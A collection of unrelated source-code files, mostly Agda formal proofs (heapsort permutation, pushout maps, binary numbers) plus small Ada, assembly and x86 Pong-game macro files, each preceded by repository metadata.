rewrite lemma-subtyping≡ {val y} {val x} (lexy x≤y) (insert {val y} {y} (lexy refl≤) l)
| lemma-subtyping≡ {val y} {val x} (lexy x≤y) r
= ∼x /head /head (lemma++∼r (lemma-insert∼ (lexy refl≤) l))
lemma-insert∼ {x = x} b≤x (left {x = y} {l = l} {r = r} b≤y l⋘r) | inj₂ y≤x
with lemma-insert⋘ (lexy y≤x) l⋘r
... | inj₁ lᵢ⋘r = ∼x (/tail /head) /head (lemma++∼r (lemma-insert∼ (lexy y≤x) l))
... | inj₂ lᵢ⋗r = ∼x (/tail /head) /head (lemma++∼r (lemma-insert∼ (lexy y≤x) l))
lemma-insert∼ {x = x} b≤x (right {x = y} {l = l} {r = r} b≤y l⋙r)
with tot≤ x y
... | inj₁ x≤y
with lemma-insert⋙ (lexy refl≤) l⋙r
... | inj₁ l⋙rᵢ
rewrite lemma-subtyping≡ {val y} {val x} (lexy x≤y) (insert {val y} {y} (lexy refl≤) r)
| lemma-subtyping≡ {val y} {val x} (lexy x≤y) l
= ∼x /head /head (trans∼ (∼x /head (lemma++/ {xs = flatten' (relax l)}) refl∼) (lemma++∼l {xs = flatten' (relax l)} (lemma-insert∼ (lexy refl≤) r)))
... | inj₂ l≃rᵢ
rewrite lemma-subtyping≡ {val y} {val x} (lexy x≤y) (insert {val y} {y} (lexy refl≤) r)
| lemma-subtyping≡ {val y} {val x} (lexy x≤y) l
= ∼x /head /head (trans∼ (∼x /head (lemma++/ {xs = flatten' (relax l)}) refl∼) (lemma++∼l {xs = flatten' (relax l)} (lemma-insert∼ (lexy refl≤) r)))
lemma-insert∼ {x = x} b≤x (right {x = y} {l = l} {r = r} b≤y l⋙r) | inj₂ y≤x
with lemma-insert⋙ (lexy y≤x) l⋙r
... | inj₁ l⋙rᵢ = ∼x (/tail /head) /head (trans∼ (∼x /head (lemma++/ {xs = flatten' (relax l)}) refl∼) (lemma++∼l {xs = flatten' (relax l)} (lemma-insert∼ (lexy y≤x) r)))
... | inj₂ l≃rᵢ = ∼x (/tail /head) /head (trans∼ (∼x /head (lemma++/ {xs = flatten' (relax l)}) refl∼) (lemma++∼l {xs = flatten' (relax l)} (lemma-insert∼ (lexy y≤x) r)))
theorem-heapsort∼ : (xs : List A) → xs ∼ forget (heapsort xs)
theorem-heapsort∼ [] = ∼[]
theorem-heapsort∼ (x ∷ xs) = trans∼ (trans∼ (∼x /head /head (trans∼ (theorem-heapsort∼ xs) (lemma-flatten-flatten' h' accₕ'))) (lemma-insert∼ lebx h)) (lemma-flatten'-flatten (hᵢ) accₕᵢ)
where h = heapify xs
h' = relax h
accₕ' = ≺-wf h'
hᵢ = relax (insert lebx h)
accₕᵢ = ≺-wf hᵢ
|
tools/yasm/tests/nasm/global.asm | fasttr-org/ftr | 0 | 14258 | <filename>tools/yasm/tests/nasm/global.asm
[common a 4]
[global a]
a:
|
core/lib/types/PushoutFmap.agda | timjb/HoTT-Agda | 294 | 3926 | {-# OPTIONS --without-K --rewriting #-}
open import lib.Basics
open import lib.cubical.Square
open import lib.types.CommutingSquare
open import lib.types.Paths
open import lib.types.Pushout
open import lib.types.Sigma
open import lib.types.Span
module lib.types.PushoutFmap where
module PushoutFmap {i₀ j₀ k₀ i₁ j₁ k₁} {span₀ : Span {i₀} {j₀} {k₀}}
{span₁ : Span {i₁} {j₁} {k₁}} (span-map : SpanMap span₀ span₁)
= PushoutRec {d = span₀} {D = Pushout span₁}
(left ∘ SpanMap.hA span-map) (right ∘ SpanMap.hB span-map)
-- the following concatenation arrangement works well with [Susp-fmap].
(λ c → ( ap left (SpanMap.f-commutes span-map □$ c)
∙ glue (SpanMap.hC span-map c))
∙' ap right (! (SpanMap.g-commutes span-map □$ c)))
Pushout-fmap = PushoutFmap.f
Pushout-fmap-∘ : ∀ {i₀ j₀ k₀ i₁ j₁ k₁ i₂ j₂ k₂} {span₀ : Span {i₀} {j₀} {k₀}}
{span₁ : Span {i₁} {j₁} {k₁}} {span₂ : Span {i₂} {j₂} {k₂}}
(span-map₁₂ : SpanMap span₁ span₂) (span-map₀₁ : SpanMap span₀ span₁)
→ ∀ p → Pushout-fmap (SpanMap-∘ span-map₁₂ span-map₀₁) p
== Pushout-fmap span-map₁₂ (Pushout-fmap span-map₀₁ p)
Pushout-fmap-∘ {span₀ = span₀} {span₁} span-map₁₂ span-map₀₁
= Pushout-elim (λ _ → idp) (λ _ → idp) lemma
where
module span-map₀₁ = SpanMap span-map₀₁
module span-map₁₂ = SpanMap span-map₁₂
ap-mega-assoc : ∀ {i} {A : Type i} {a₀ a₁ a₂ a₃ a₄ a₅ : A}
(p₀ : a₀ == a₁) (p₁ : a₁ == a₂) (p₂ : a₂ == a₃) (p₃ : a₃ == a₄) (p₄ : a₄ == a₅)
→ (p₀ ∙ ((p₁ ∙ p₂) ∙' p₃)) ∙' p₄ == ((p₀ ∙ p₁) ∙ p₂) ∙' (p₃ ∙ p₄)
ap-mega-assoc idp p₁ p₂ idp p₄ = idp
abstract
lemma : ∀ c → idp == idp
[ (λ p → Pushout-fmap (SpanMap-∘ span-map₁₂ span-map₀₁) p
== Pushout-fmap span-map₁₂ (Pushout-fmap span-map₀₁ p))
↓ glue c ]
lemma c = ↓-='-in' $
ap (Pushout-fmap span-map₁₂ ∘ Pushout-fmap span-map₀₁) (glue c)
=⟨ ap-∘ (Pushout-fmap span-map₁₂) (Pushout-fmap span-map₀₁) (glue c) ⟩
ap (Pushout-fmap span-map₁₂) (ap (Pushout-fmap span-map₀₁) (glue c))
=⟨ PushoutFmap.glue-β span-map₀₁ c |in-ctx ap (Pushout-fmap span-map₁₂) ⟩
ap (Pushout-fmap span-map₁₂)
( ( ap left (span-map₀₁.f-commutes □$ c)
∙ glue (span-map₀₁.hC c))
∙' ap right (! (span-map₀₁.g-commutes □$ c)))
=⟨ ap-∙' (Pushout-fmap span-map₁₂)
(ap left (span-map₀₁.f-commutes □$ c) ∙ glue (span-map₀₁.hC c))
(ap right (! (span-map₀₁.g-commutes □$ c))) ⟩
ap (Pushout-fmap span-map₁₂) ( ap left (span-map₀₁.f-commutes □$ c)
∙ glue (span-map₀₁.hC c))
∙' ap (Pushout-fmap span-map₁₂) (ap right (! (span-map₀₁.g-commutes □$ c)))
=⟨ ap2 _∙'_ (ap-∙ (Pushout-fmap span-map₁₂)
(ap left (span-map₀₁.f-commutes □$ c))
(glue (span-map₀₁.hC c)))
(∘-ap (Pushout-fmap span-map₁₂) right (! (span-map₀₁.g-commutes □$ c))) ⟩
( ap (Pushout-fmap span-map₁₂) (ap left (span-map₀₁.f-commutes □$ c))
∙ ap (Pushout-fmap span-map₁₂) (glue (span-map₀₁.hC c)))
∙' ap (right ∘ span-map₁₂.hB) (! (span-map₀₁.g-commutes □$ c))
=⟨ ap2 _∙'_
-- favonia: for some reasons Agda seems to need this.
{x = ap (Pushout-fmap span-map₁₂) (ap left (span-map₀₁.f-commutes □$ c))
∙ ap (Pushout-fmap span-map₁₂) (glue (span-map₀₁.hC c))}
(ap2 _∙_
(∘-ap (Pushout-fmap span-map₁₂) left (span-map₀₁.f-commutes □$ c))
(PushoutFmap.glue-β span-map₁₂ (span-map₀₁.hC c)))
(ap-∘ right span-map₁₂.hB (! (span-map₀₁.g-commutes □$ c))) ⟩
( ap (left ∘ span-map₁₂.hA) (span-map₀₁.f-commutes □$ c)
∙ ( ( ap left (span-map₁₂.f-commutes □$ span-map₀₁.hC c)
∙ glue (span-map₁₂.hC (span-map₀₁.hC c)))
∙' ap right (! (span-map₁₂.g-commutes □$ span-map₀₁.hC c))))
∙' ap right (ap span-map₁₂.hB (! (span-map₀₁.g-commutes □$ c)))
=⟨ ap-mega-assoc
(ap (left ∘ span-map₁₂.hA) (span-map₀₁.f-commutes □$ c))
(ap left (span-map₁₂.f-commutes □$ span-map₀₁.hC c))
(glue (span-map₁₂.hC (span-map₀₁.hC c)))
(ap right (! (span-map₁₂.g-commutes □$ span-map₀₁.hC c)))
(ap right (ap span-map₁₂.hB (! (span-map₀₁.g-commutes □$ c)))) ⟩
( ( ap (left ∘ span-map₁₂.hA) (span-map₀₁.f-commutes □$ c)
∙ ap left (span-map₁₂.f-commutes □$ span-map₀₁.hC c))
∙ glue (span-map₁₂.hC (span-map₀₁.hC c)))
∙'( ap right (! (span-map₁₂.g-commutes □$ span-map₀₁.hC c))
∙ ap right (ap span-map₁₂.hB (! (span-map₀₁.g-commutes □$ c))))
=⟨ ap2 _∙'_
( ap-∘ left span-map₁₂.hA (span-map₀₁.f-commutes □$ c)
|in-ctx _∙ ap left (span-map₁₂.f-commutes □$ span-map₀₁.hC c)
|in-ctx _∙ glue (span-map₁₂.hC (span-map₀₁.hC c)))
( ∙-ap right
(! (span-map₁₂.g-commutes □$ span-map₀₁.hC c))
(ap span-map₁₂.hB (! (span-map₀₁.g-commutes □$ c)))) ⟩
( ( ap left (ap span-map₁₂.hA (span-map₀₁.f-commutes □$ c))
∙ ap left (span-map₁₂.f-commutes □$ span-map₀₁.hC c))
∙ glue (span-map₁₂.hC (span-map₀₁.hC c)))
∙' ap right
( ! (span-map₁₂.g-commutes □$ span-map₀₁.hC c)
∙ ap span-map₁₂.hB (! (span-map₀₁.g-commutes □$ c)))
=⟨ ap2 _∙'_
( ∙-ap left
(ap span-map₁₂.hA (span-map₀₁.f-commutes □$ c))
(span-map₁₂.f-commutes □$ span-map₀₁.hC c)
|in-ctx _∙ glue (span-map₁₂.hC (span-map₀₁.hC c)))
( ap-! span-map₁₂.hB (span-map₀₁.g-commutes □$ c)
|in-ctx ! (span-map₁₂.g-commutes □$ span-map₀₁.hC c) ∙_
|in-ctx ap right) ⟩
( ap left (CommSquare-∘v span-map₁₂.f-commutes span-map₀₁.f-commutes □$ c)
∙ glue (span-map₁₂.hC (span-map₀₁.hC c)))
∙' ap right
( ! (span-map₁₂.g-commutes □$ span-map₀₁.hC c)
∙ ! (ap span-map₁₂.hB (span-map₀₁.g-commutes □$ c)))
=⟨ ∙-!
(span-map₁₂.g-commutes □$ span-map₀₁.hC c)
(ap span-map₁₂.hB (span-map₀₁.g-commutes □$ c))
|in-ctx ap right
|in-ctx
( ap left (CommSquare-∘v span-map₁₂.f-commutes span-map₀₁.f-commutes □$ c)
∙ glue (span-map₁₂.hC (span-map₀₁.hC c)))
∙'_ ⟩
( ap left (CommSquare-∘v span-map₁₂.f-commutes span-map₀₁.f-commutes □$ c)
∙ glue (span-map₁₂.hC (span-map₀₁.hC c)))
∙' ap right (! (CommSquare-∘v span-map₁₂.g-commutes span-map₀₁.g-commutes □$ c))
=⟨ ! (PushoutFmap.glue-β (SpanMap-∘ span-map₁₂ span-map₀₁) c) ⟩
ap (Pushout-fmap (SpanMap-∘ span-map₁₂ span-map₀₁)) (glue c)
=∎
∘-Pushout-fmap : ∀ {i₀ j₀ k₀ i₁ j₁ k₁ i₂ j₂ k₂} {span₀ : Span {i₀} {j₀} {k₀}}
{span₁ : Span {i₁} {j₁} {k₁}} {span₂ : Span {i₂} {j₂} {k₂}}
(span-map₁₂ : SpanMap span₁ span₂) (span-map₀₁ : SpanMap span₀ span₁)
→ ∀ p → Pushout-fmap span-map₁₂ (Pushout-fmap span-map₀₁ p)
== Pushout-fmap (SpanMap-∘ span-map₁₂ span-map₀₁) p
∘-Pushout-fmap span-map₁₂ span-map₀₁ p = ! (Pushout-fmap-∘ span-map₁₂ span-map₀₁ p)
module _ {i₀ j₀ k₀ i₁ j₁ k₁} {span₀ : Span {i₀} {j₀} {k₀}}
{span₁ : Span {i₁} {j₁} {k₁}} (span-equiv : SpanEquiv span₀ span₁) where
private
module span₀ = Span span₀
module span₁ = Span span₁
span-to = fst span-equiv
span-from = fst (SpanEquiv-inverse span-equiv)
module span-to = SpanMap span-to
module span-from = SpanMap span-from
module To = PushoutFmap span-to
module From = PushoutFmap span-from
span-ise = snd span-equiv
hA-ise = fst span-ise
hB-ise = fst (snd span-ise)
hC-ise = snd (snd span-ise)
module hA-ise = is-equiv hA-ise
module hB-ise = is-equiv hB-ise
module hC-ise = is-equiv hC-ise
to = To.f
from = From.f
abstract
to-from' : ∀ y → Pushout-fmap (SpanMap-∘ span-to span-from) y == y
to-from' = Pushout-elim (ap left ∘ hA-ise.f-g) (ap right ∘ hB-ise.f-g)
(λ c → ↓-app=idf-from-square $
PushoutFmap.glue-β (SpanMap-∘ span-to span-from) c
∙v⊡ ap2 _∙'_
(CommSquare-inverse-inv-r span-to.f-commutes hC-ise hA-ise c
|in-ctx ap left |in-ctx _∙ glue (span-to.hC (span-from.hC c)))
(CommSquare-inverse-inv-r span-to.g-commutes hC-ise hB-ise c
|in-ctx ! |in-ctx ap right)
∙v⊡ ap2 _∙'_
( ap-∙ left (hA-ise.f-g (span₁.f c)) (! (ap span₁.f (hC-ise.f-g c)))
|in-ctx _∙ glue (span-to.hC (span-from.hC c)))
( !-∙ (hB-ise.f-g (span₁.g c)) (! (ap span₁.g (hC-ise.f-g c)))
|in-ctx ap right)
∙v⊡ ap2 _∙'_
( ap-! left (ap span₁.f (hC-ise.f-g c))
|in-ctx ap left (hA-ise.f-g (span₁.f c)) ∙_
|in-ctx _∙ glue (span-to.hC (span-from.hC c)))
( ap-∙ right
(! (! (ap span₁.g (hC-ise.f-g c))))
(! (hB-ise.f-g (span₁.g c))))
∙v⊡ ( ap2 _∙_
( !-! (ap span₁.g (hC-ise.f-g c))
|in-ctx ap right)
( ap-! right (hB-ise.f-g (span₁.g c)))
|in-ctx ( ( ap left (hA-ise.f-g (span₁.f c))
∙ ! (ap left (ap span₁.f (hC-ise.f-g c))))
∙ glue (span-to.hC (span-from.hC c)))
∙'_)
∙v⊡ ap2 _∙'_
( ∘-ap left span₁.f (hC-ise.f-g c)
|in-ctx !
|in-ctx ap left (hA-ise.f-g (span₁.f c)) ∙_
|in-ctx _∙ glue (span-to.hC (span-from.hC c)))
( ∘-ap right span₁.g (hC-ise.f-g c)
|in-ctx _∙ ! (ap right (hB-ise.f-g (span₁.g c))))
∙v⊡ ( ( lt-square (ap left (hA-ise.f-g (span₁.f c)))
⊡h rt-square (ap (left ∘ span₁.f) (hC-ise.f-g c)))
⊡h square-symmetry (natural-square glue (hC-ise.f-g c)))
⊡h' lt-square (ap (right ∘ span₁.g) (hC-ise.f-g c))
⊡h rt-square (ap right (hB-ise.f-g (span₁.g c))))
to-from : ∀ y → to (from y) == y
to-from y = ∘-Pushout-fmap span-to span-from y ∙ to-from' y
abstract
from-to' : ∀ x → Pushout-fmap (SpanMap-∘ span-from span-to) x == x
from-to' = Pushout-elim (ap left ∘ hA-ise.g-f) (ap right ∘ hB-ise.g-f)
(λ c → ↓-app=idf-from-square $
PushoutFmap.glue-β (SpanMap-∘ span-from span-to) c
∙v⊡ ap2 _∙'_
(CommSquare-inverse-inv-l span-to.f-commutes hC-ise hA-ise c
|in-ctx ap left |in-ctx _∙ glue (span-from.hC (span-to.hC c)))
(CommSquare-inverse-inv-l span-to.g-commutes hC-ise hB-ise c
|in-ctx ! |in-ctx ap right)
∙v⊡ ap2 _∙'_
( ap-∙ left (hA-ise.g-f (span₀.f c)) (! (ap span₀.f (hC-ise.g-f c)))
|in-ctx _∙ glue (span-from.hC (span-to.hC c)))
( !-∙ (hB-ise.g-f (span₀.g c)) (! (ap span₀.g (hC-ise.g-f c)))
|in-ctx ap right)
∙v⊡ ap2 _∙'_
( ap-! left (ap span₀.f (hC-ise.g-f c))
|in-ctx ap left (hA-ise.g-f (span₀.f c)) ∙_
|in-ctx _∙ glue (span-from.hC (span-to.hC c)))
( ap-∙ right
(! (! (ap span₀.g (hC-ise.g-f c))))
(! (hB-ise.g-f (span₀.g c))))
∙v⊡ ( ap2 _∙_
( !-! (ap span₀.g (hC-ise.g-f c))
|in-ctx ap right)
( ap-! right (hB-ise.g-f (span₀.g c)))
|in-ctx ( ( ap left (hA-ise.g-f (span₀.f c))
∙ ! (ap left (ap span₀.f (hC-ise.g-f c))))
∙ glue (span-from.hC (span-to.hC c)))
∙'_)
∙v⊡ ap2 _∙'_
( ∘-ap left span₀.f (hC-ise.g-f c)
|in-ctx !
|in-ctx ap left (hA-ise.g-f (span₀.f c)) ∙_
|in-ctx _∙ glue (span-from.hC (span-to.hC c)))
( ∘-ap right span₀.g (hC-ise.g-f c)
|in-ctx _∙ ! (ap right (hB-ise.g-f (span₀.g c))))
∙v⊡ ( ( lt-square (ap left (hA-ise.g-f (span₀.f c)))
⊡h rt-square (ap (left ∘ span₀.f) (hC-ise.g-f c)))
⊡h square-symmetry (natural-square glue (hC-ise.g-f c)))
⊡h' lt-square (ap (right ∘ span₀.g) (hC-ise.g-f c))
⊡h rt-square (ap right (hB-ise.g-f (span₀.g c))))
from-to : ∀ x → from (to x) == x
from-to x = ∘-Pushout-fmap span-from span-to x ∙ from-to' x
Pushout-emap : Pushout span₀ ≃ Pushout span₁
Pushout-emap = equiv to from to-from from-to
|
src/exprs-store.adb | aeszter/lox-spark | 6 | 1320 | separate (Exprs)
procedure Store (The_Expr : Expr'Class;
Result : out Expr_Handle;
Success : out Boolean) is
use Ada.Containers;
use Storage;
begin
if Length (Container) >= Container.Capacity then
Success := False;
Result := 1;
return;
end if;
Append (Container, The_Expr);
Result := Last_Index (Container);
Success := Is_Valid (Result);
end Store;
|
libsrc/_DEVELOPMENT/math/float/math32/lm32/c/sdcc/sqrt_fastcall.asm | Frodevan/z88dk | 640 | 26700 |
SECTION code_fp_math32
PUBLIC _sqrt_fastcall
EXTERN m32_fssqrt_fastcall
defc _sqrt_fastcall = m32_fssqrt_fastcall
|
src/Generics/Mu/NoConfusion.agda | flupe/generics | 11 | 10292 | {-# OPTIONS --safe #-}
open import Generics.Prelude
open import Generics.Telescope
open import Generics.Desc
open import Generics.Mu
open import Generics.Mu.All
open import Data.Fin.Properties as Fin
open import Data.Product.Properties
open import Data.Empty
open import Relation.Nullary
module Generics.Mu.NoConfusion {P I n} {D : DataDesc P I n} where
private
variable
V : ExTele P
p : ⟦ P ⟧tel tt
v : ⟦ V ⟧tel p
i : ⟦ I ⟧tel p
NoConfusionCon : (C : ConDesc P V I)
→ ⟦ C ⟧Conω (μ D) (p , v , i)
→ ⟦ C ⟧Conω (μ D) (p , v , i)
→ Setω
NoConfusionCon (var f) _ _ = ⊤ω
NoConfusionCon (π ai S C) (s₁ , x) (s₂ , y) =
Σω (s₁ ≡ s₂) {!!}
NoConfusionCon (A ⊗ B) x y = {!!}
{-
module NoConfusion {P} {I : ExTele P} {n ℓ} (D : DataDesc P I ℓ n) where
NoConfusionIndArg : ∀ {ℓ} (C : ConDesc P V I ℓ) {ℓ₂} {X : ⟦ P , I ⟧xtel → Set (ℓ ⊔ ℓ₂)}
→ ∀ {pv} → (x y : ⟦ C ⟧IndArg ℓ₂ X pv) → Set (ℓ ⊔ ℓ₂)
NoConfusionIndArgᵇ : ∀ {ℓ₁ ℓ₂ ℓ₃ ℓ₄} (e : ℓ₁ ≡ ℓ₂ ⊔ ℓ₃) (i : ArgInfo)
{X : ⟦ P , I ⟧xtel → Set (ℓ₃ ⊔ ℓ₄)}
(S : ⟦ P , V ⟧xtel → Set ℓ₂)
(C : ConDesc P (V ⊢< i > S) I ℓ₃)
→ ∀ {pv} (x y : IndArgᵇ ℓ₄ e i X S C pv) → Set (ℓ₁ ⊔ ℓ₄)
NoConfusionIndArg (var i) x y = x ≡ y
NoConfusionIndArg (A ⊗ B) (xa , xb) (ya , yb) = NoConfusionIndArg A xa ya × NoConfusionIndArg B xb yb
NoConfusionIndArg (π p i S C) x y = NoConfusionIndArgᵇ p i S C x y
NoConfusionIndArgᵇ refl i S C {pv} x y = x ≡ y
NoConfusionConᵇ : ∀ {ℓ₁ ℓ₂ ℓ₃ ℓ₄} (e : ℓ₁ ≡ ℓ₂ ⊔ ℓ₃) (i : ArgInfo)
{X : ⟦ P , I ⟧xtel → Set (ℓ₃ ⊔ ℓ₄)}
(S : ⟦ P , V ⟧xtel → Set ℓ₂)
(C : ConDesc P (V ⊢< i > S) I ℓ₃)
→ ∀ {pvi} (x y : Conᵇ ℓ₄ e i X S C pvi) → Set (ℓ₁ ⊔ ℓ₄)
NoConfusionCon (var i) x y = Lift _ ⊤
NoConfusionCon (π p i S C) x y = NoConfusionConᵇ p i S C x y
NoConfusionCon (A ⊗ B) (xa , xb) (ya , yb) = NoConfusionIndArg A xa ya × NoConfusionCon B xb yb
NoConfusionConᵇ refl i S C (xs , xd) (ys , yd) = Σ (xs ≡ ys) λ { refl → NoConfusionCon C xd yd }
NoConf : ∀ {ℓ′} {X : ⟦ P , I ⟧xtel → Set (ℓ ⊔ ℓ′)}
→ ∀ {pi} (x y : ⟦ D ⟧Data ℓ′ X pi) → Set (ℓ ⊔ ℓ′)
NoConf (kx , x) (ky , y) with kx Fin.≟ ky
... | yes refl = NoConfusionCon (lookupCon D kx) x y
... | no _ = Lift _ ⊥
noConfIndArg-refl : ∀ {ℓ} (C : ConDesc P V I ℓ) {ℓ₂} {X : ⟦ P , I ⟧xtel → Set (ℓ ⊔ ℓ₂)}
→ ∀ {pvi} → (x : ⟦ C ⟧IndArg ℓ₂ X pvi) → NoConfusionIndArg C x x
noConfIndArgᵇ-refl : ∀ {ℓ₁ ℓ₂ ℓ₃ ℓ₄} (e : ℓ₁ ≡ ℓ₂ ⊔ ℓ₃) (i : ArgInfo)
{X : ⟦ P , I ⟧xtel → Set (ℓ₃ ⊔ ℓ₄)}
(S : ⟦ P , V ⟧xtel → Set ℓ₂)
(C : ConDesc P (V ⊢< i > S) I ℓ₃)
→ ∀ {pvi} (x : IndArgᵇ ℓ₄ e i X S C pvi) → NoConfusionIndArgᵇ e i S C x x
noConfIndArg-refl (var i) x = refl
noConfIndArg-refl (A ⊗ B) (xa , xb) = noConfIndArg-refl A xa , noConfIndArg-refl B xb
noConfIndArg-refl (π p i S C) x = noConfIndArgᵇ-refl p i S C x
noConfIndArgᵇ-refl refl i S C x = refl
noConfCon-refl : ∀ {ℓ} (C : ConDesc P V I ℓ) {ℓ₂} {X : ⟦ P , I ⟧xtel → Set (ℓ ⊔ ℓ₂)}
→ ∀ {pvi} → (x : ⟦_⟧Con C ℓ₂ X pvi) → NoConfusionCon C x x
noConfConᵇ-refl : ∀ {ℓ₁ ℓ₂ ℓ₃ ℓ₄} (e : ℓ₁ ≡ ℓ₂ ⊔ ℓ₃) (i : ArgInfo)
{X : ⟦ P , I ⟧xtel → Set (ℓ₃ ⊔ ℓ₄)}
(S : ⟦ P , V ⟧xtel → Set ℓ₂)
(C : ConDesc P (V ⊢< i > S) I ℓ₃)
→ ∀ {pvi} (x : Conᵇ ℓ₄ e i X S C pvi) → NoConfusionConᵇ e i S C x x
noConfCon-refl (var i) x = lift tt
noConfCon-refl (A ⊗ B) (xa , xb) = noConfIndArg-refl A xa , noConfCon-refl B xb
noConfCon-refl (π p i S C) x = noConfConᵇ-refl p i S C x
noConfConᵇ-refl refl i S C (_ , x) = refl , noConfCon-refl C x
noConfIndArg : ∀ {ℓ} (C : ConDesc P V I ℓ) {ℓ₂} {X : ⟦ P , I ⟧xtel → Set (ℓ ⊔ ℓ₂)}
→ ∀ {pvi} {x y : ⟦ C ⟧IndArg ℓ₂ X pvi} → NoConfusionIndArg C x y → x ≡ y
noConfIndArgᵇ : ∀ {ℓ₁ ℓ₂ ℓ₃ ℓ₄} (e : ℓ₁ ≡ ℓ₂ ⊔ ℓ₃) (i : ArgInfo)
{X : ⟦ P , I ⟧xtel → Set (ℓ₃ ⊔ ℓ₄)}
(S : ⟦ P , V ⟧xtel → Set ℓ₂)
(C : ConDesc P (V ⊢< i > S) I ℓ₃)
→ ∀ {pvi} {x y : IndArgᵇ ℓ₄ e i X S C pvi} → NoConfusionIndArgᵇ e i S C x y → x ≡ y
noConfIndArg (var i) nc = nc
noConfIndArg (A ⊗ B) (nca , ncb) = cong₂ _,_ (noConfIndArg A nca) (noConfIndArg B ncb)
noConfIndArg (π p i S C) nc = noConfIndArgᵇ p i S C nc
noConfIndArgᵇ refl i S C nc = nc
noConfCon : ∀ {ℓ} (C : ConDesc P V I ℓ) {ℓ₂} {X : ⟦ P , I ⟧xtel → Set (ℓ ⊔ ℓ₂)}
→ ∀ {pvi} → {x y : ⟦_⟧Con C ℓ₂ X pvi} → NoConfusionCon C x y → x ≡ y
noConfConᵇ : ∀ {ℓ₁ ℓ₂ ℓ₃ ℓ₄} (e : ℓ₁ ≡ ℓ₂ ⊔ ℓ₃) (i : ArgInfo)
{X : ⟦ P , I ⟧xtel → Set (ℓ₃ ⊔ ℓ₄)}
(S : ⟦ P , V ⟧xtel → Set ℓ₂)
(C : ConDesc P (V ⊢< i > S) I ℓ₃)
→ ∀ {pvi} {x y : Conᵇ ℓ₄ e i X S C pvi} → NoConfusionConᵇ e i S C x y → x ≡ y
noConfCon (var i) {x = lift refl} {lift refl} nc = refl
noConfCon (A ⊗ B) (nca , ncb) = cong₂ _,_ (noConfIndArg A nca) (noConfCon B ncb)
noConfCon (π p i S C) nc = noConfConᵇ p i S C nc
noConfConᵇ refl i S C (refl , nc) = cong (_ ,_) (noConfCon C nc)
noConf : ∀ {ℓ′} {X : ⟦ P , I ⟧xtel → Set (ℓ ⊔ ℓ′)}
→ ∀ {pi} {x y : ⟦ D ⟧Data ℓ′ X pi} → x ≡ y → NoConf x y
noConf {x = kx , x} {ky , _} refl with kx Fin.≟ ky
... | yes refl = noConfCon-refl (lookupCon D kx) x
... | no kx≢kx = lift (kx≢kx refl)
noConf₂ : ∀ {ℓ′} {X : ⟦ P , I ⟧xtel → Set (ℓ ⊔ ℓ′)}
→ ∀ {pi} {x y : ⟦ D ⟧Data ℓ′ X pi} → NoConf x y → x ≡ y
noConf₂ {x = kx , x} {ky , y} nc with kx Fin.≟ ky
... | yes refl = cong (kx ,_) (noConfCon (lookupCon D kx) nc)
... | no kx≢ky = ⊥-elim (Lift.lower nc)
-}
|
src/plfa/part1/Bin.agda | abolotina/plfa.github.io | 0 | 3705 | <filename>src/plfa/part1/Bin.agda
module plfa.part1.Bin where
import Relation.Binary.PropositionalEquality as Eq
open Eq using (_≡_; refl; cong)
open import Data.Nat using (ℕ; zero; suc; _*_; _+_)
open import Data.Nat.Properties using (+-suc)
data Bin : Set where
⟨⟩ : Bin
_O : Bin → Bin
_I : Bin → Bin
inc : Bin → Bin
inc ⟨⟩ = ⟨⟩ I
inc (b O) = b I
inc (b I) = (inc b) O
to : ℕ → Bin
to zero = ⟨⟩ O
to (suc n) = inc (to n)
from : Bin → ℕ
from ⟨⟩ = 0
from (b O) = 2 * from b
from (b I) = suc (2 * from b)
inc-suc-law : ∀ b → from (inc b) ≡ suc (from b)
inc-suc-law ⟨⟩ = refl
inc-suc-law (b O) = refl
inc-suc-law (b I) rewrite
inc-suc-law b
| +-suc (suc (from b)) ((from b) + 0) = refl
from-to-identity : ∀ n → from (to n) ≡ n
from-to-identity zero = refl
from-to-identity (suc n) rewrite
inc-suc-law (to n)
| from-to-identity n = refl
|
macros.asm | tevoran/x86-Pong | 0 | 175483 | ;macros
;definitions
%define YELLOW 0x0E
%define BLACK 0x00
%define RES_X 320
%define RES_Y 200
%define PLAYER1_X 20
%define PLAYER2_X 290
%define PLAYER_WIDTH 0x06
%define PLAYER_WIDTH_HALF 0x03
%define PLAYER_HEIGHT 0x20
%define PLAYER_LOWEST 168
%define PLAYER_HIGHEST 0xFFFF
%define BALL_WIDTH 3
%define BALL_HEIGHT 3
%define BALL_Y_RESOLUTION 10
;functions
%macro CLS 0
xor di,di
mov al, BLACK
mov cx, 0xFA00 ;framebuffer size
repe stosb
%endmacro
%macro DRAW_BALL 0
xor ax,ax
mov word [i], ax
ball_draw_loop:
mov word ax, RES_X
mov word bx, [ball_y]
add word bx, [i]
mul bx
add word ax, [ball_x]
mov di, ax
mov al, YELLOW
mov cx, BALL_WIDTH
repe stosb
mov word ax, [i]
inc ax
mov word [i], ax
cmp ax, BALL_HEIGHT
jl ball_draw_loop
%endmacro
%macro UPDATE_BALL_LOCATION 0
;X - axis
mov word ax, [ball_x]
add word ax, [ball_dx]
mov word [ball_x], ax
;Y - axis
mov ax, word [ball_y]
mov bx, word [ball_dy]
add ax, bx
mov word [ball_y], ax
;fwait
; fld dword [ball_y_float] ;load current ball y-value
; fadd dword [ball_dy_float] ;add delta value
; fst dword [ball_y_float] ;save new ball y-value
; fld dword [ball_y_float] ;load ball y-value again
; fistp word [ball_y] ;convert ball y-value to integer and save it into memory
%endmacro
%macro WAIT_FOR_RTC 0
;synchronizing game to real time clock (18.2 ticks per sec)
.sync:
xor ah,ah
sti
int 0x1a ;returns the current tick count in dx
cli
cmp word [timer_current], dx
je .sync ;reloop until new tick
mov word [timer_current], dx ;save new tick value
%endmacro
%macro ENEMY_AI 0
xor cx,cx
mov word ax, [player2_y]
mov word bx, [ball_y]
cmp ax, bx
jae .enemy_ai_below
;if ball is above the enemy
mov cx, 1
inc ax
jmp .enemy_ai_done
;if ball is below the enemy
.enemy_ai_below:
mov cx, -1
dec ax
.enemy_ai_done:
mov word [player2_y], ax
mov word [player2_dy], cx
%endmacro |
test/interaction/Positivity-once.agda | shlevy/agda | 1,989 | 12090 | <reponame>shlevy/agda<gh_stars>1000+
-- The positivity checker should not be run twice for the same mutual
-- block. (If we decide to turn Agda into a total program, then we may
-- want to revise this decision.)
{-# OPTIONS -vtc.pos.graph:5 #-}
module Positivity-once where
A : Set₁
module M where
B : Set₁
B = A
A = Set
|
src/toml-file_io.adb | pmderodat/ada-toml | 19 | 2644 | <filename>src/toml-file_io.adb
with Ada.Exceptions;
with TOML.Generic_Dump;
with TOML.Generic_Parse;
package body TOML.File_IO is
procedure Get
(Stream : in out Ada.Text_IO.File_Type;
EOF : out Boolean;
Byte : out Character);
